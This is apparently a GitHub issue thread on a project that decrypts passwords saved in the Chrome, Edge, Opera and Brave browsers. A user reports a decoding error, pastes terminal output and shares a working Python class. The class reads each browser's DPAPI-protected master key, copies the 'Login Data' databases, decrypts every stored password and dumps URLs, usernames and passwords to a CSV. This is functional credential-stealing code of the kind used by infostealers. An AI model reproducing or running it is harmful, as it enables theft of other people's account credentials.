SOME-1HING / browser_password_decrypt

This is a Python project focused on decrypting saved passwords from popular web browsers Chrome, Opera, Brave and Edge. It provides code snippets and insights into password decryption techniques, serving as a practical resource for cybersecurity enthusiasts and developers.
GNU General Public License v3.0
6 stars 3 forks source link

issue decrypting chrome passwords #2

Open Firas-Dev0 opened 1 month ago

Firas-Dev0 commented 1 month ago

[+] Default Profile Selected [+] Starting Decryption

[+] Decrypting Profile: Default [-] 'utf-8' codec can't decode byte 0xe0 in position 1: invalid continuation byte

SOME-1HING commented 1 month ago

@FirasAAA Can you mention your Operating System and also provide the entire log?

Firas-Dev0 commented 4 weeks ago

Sorry for late reply and thanks for yours, here's the copy paste of my terminal [?] I hereby confirm that I am using this script solely for educational purposes and not for any malicious activities. [?] Press 'y' to agree and continue or 'n' to exit (y/N): y

[?] Select a Windows user account: All Users Default Default User

marzo Public

[?] Select the browser:

Google Chrome Microsoft Edge Opera Brave

[+] Default Profile Selected [+] Starting Decryption

[+] Decrypting Profile: Default [-] 'utf-8' codec can't decode byte 0xe0 in position 1: invalid continuation byte PS C:\Users\marzo\Desktop\ez\multi_tool>

i have python 3.13.1 on windows 11 pro chrome is of course closed to prevent data base lock i tried searching for solutions but i did not find that's why i reached out to you i also tried other github repos because my own code didnt work just to make sure its not my bad coding skills and i tried modifiying the code for a possible later fork i had a little possibility that google changes its parametre since i did the latest google update to be able to use selenium so now its either me the problem or google chrome the rest works normaly. Here's one of my modification not much but i wanted to create a file where all passwords from all browsers are saved orderly.

class PasswordDecryptor: def init(self): self.browsers = { "Chrome": os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data"), "Brave": os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data"), "Opera": os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Opera Software", "Opera Stable"), "Opera GX": os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Opera Software", "Opera GX Stable"), "Edge": os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data") } self.available_browsers = self.check_available_browsers()

def check_available_browsers(self):
    available = {}
    for name, path in self.browsers.items():
        if os.path.exists(path):
            available[name] = path
    return available

def get_(self, browser_path):
    try:
        with open(os.path.join(browser_path, "Local State"), "r", encoding="utf-8") as f:
            local_state = json.load(f)
        encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
        encrypted_key = encrypted_key[5:]  # Remove DPAPI prefix
        return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
    except Exception as e:
        print(f"Error getting key for {browser_path}: {e}")
        return None

def decrypt_(self, ciphertext, key):
    try:
        iv = ciphertext[3:15]
        payload = ciphertext[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        decrypted = cipher.decrypt(payload)[:-16].decode()  # Remove suffix
        return decrypted
    except:
        try:
            return str(win32crypt.CryptUnprotectData(ciphertext, None, None, None, 0)[1])
        except:
            return ""

def get_profiles(self, browser_path):
    profiles = ["Default"]
    for dir in glob(os.path.join(browser_path, "Profile*")):
        if os.path.isdir(dir):
            profiles.append(os.path.basename(dir))
    return profiles

def extract_(self, browser_name, browser_path):
    passwords = []
    key = self.get_(browser_path)
    if not key:
        return passwords

    for profile in self.get_profiles(browser_path):
        login_db = os.path.join(browser_path, profile, "Login Data")
        if not os.path.exists(login_db):
            continue

        temp_db = os.path.join(os.getcwd(), "temp_db")
        try:
            shutil.copy2(login_db, temp_db)
            conn = sqlite3.connect(temp_db)
            cursor = conn.cursor()
            cursor.execute("SELECT origin_url, username_value, password_value FROM logins")

            for row in cursor.fetchall():
                url, username, encrypted = row
                decrypted = self.decrypt_(encrypted, key)
                if decrypted:
                    passwords.append({
                        "browser": browser_name,
                        "profile": profile,
                        "url": url,
                        "username": username,
                        "password": decrypted
                    })
            conn.close()
        except Exception as e:
            print(f"Error processing {browser_name} ({profile}): {e}")
        finally:
            if os.path.exists(temp_db):
                os.remove(temp_db)
    return passwords

def save_to_csv(self, data, filename="passwords.csv"):
    output_dir = os.path.join(os.getcwd(), "output")
    os.makedirs(output_dir, exist_ok=True)
    output_path = os.path.join(output_dir, filename)

    df = pd.DataFrame(data, columns=["browser", "profile", "url", "username", "password"])
    df.to_csv(output_path, index=False)
    return output_path

   # then here i added more code for a project ect....